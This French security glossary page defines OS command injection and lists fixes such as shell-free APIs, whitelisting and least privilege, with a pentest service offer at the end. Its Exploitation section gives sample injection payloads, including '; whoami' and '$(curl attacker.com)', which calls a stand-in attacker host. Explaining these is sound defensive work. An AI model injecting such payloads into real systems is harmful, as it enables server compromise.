Command Injection (Injection de commande OS)
hackingDéfinition
L'injection de commande OS est une vulnérabilité critique permettant à un attaquant d'exécuter des commandes arbitraires sur le système d'exploitation hébergeant une application. Elle survient lorsqu'une application intègre des données contrôlées par l'utilisateur dans des appels système sans validation adéquate, via des fonctions comme exec(), system(), popen() ou leurs équivalents dans différents langages. L'attaquant utilise des métacaractères shell (;, &&, ||, |, $(), backticks) pour enchaîner ses propres commandes. Classée parmi les vulnérabilités les plus critiques par OWASP, cette faille mène directement à la compromission complète du serveur : lecture de fichiers sensibles, installation de backdoors, pivoting réseau. La correction exige l'utilisation d'APIs système sans passage par un shell (execve direct), la validation stricte des entrées par whitelist, et l'exécution des processus sous des comptes à privilèges minimaux. Burp Suite et des scanners DAST détectent ces vulnérabilités dans les phases de test.
Description
L'injection de commande OS survient lorsqu'une application intègre des données utilisateur dans des appels système sans validation, via exec(), system() ou popen(). L'attaquant utilise des métacaractères shell pour enchaîner ses propres commandes et compromettre le serveur.
Exploitation
Des payloads comme ; whoami, && id ou $(curl attacker.com) permettent l'exécution de commandes arbitraires. Cette faille mène directement à la compromission complète : lecture de fichiers sensibles, backdoor, pivoting réseau.
Défense
- Utiliser des APIs système sans passage par un shell (execve direct, sans /bin/sh)
- Valider les entrées par whitelist stricte et rejeter tout caractère non attendu
- Exécuter les processus sous des comptes à privilèges minimaux avec isolation
Besoin d'un expert sur ce sujet ?
Audit, pentest, conformité ISO 27001, développement IA sécurisé — demandez un devis gratuit.
Demander un devis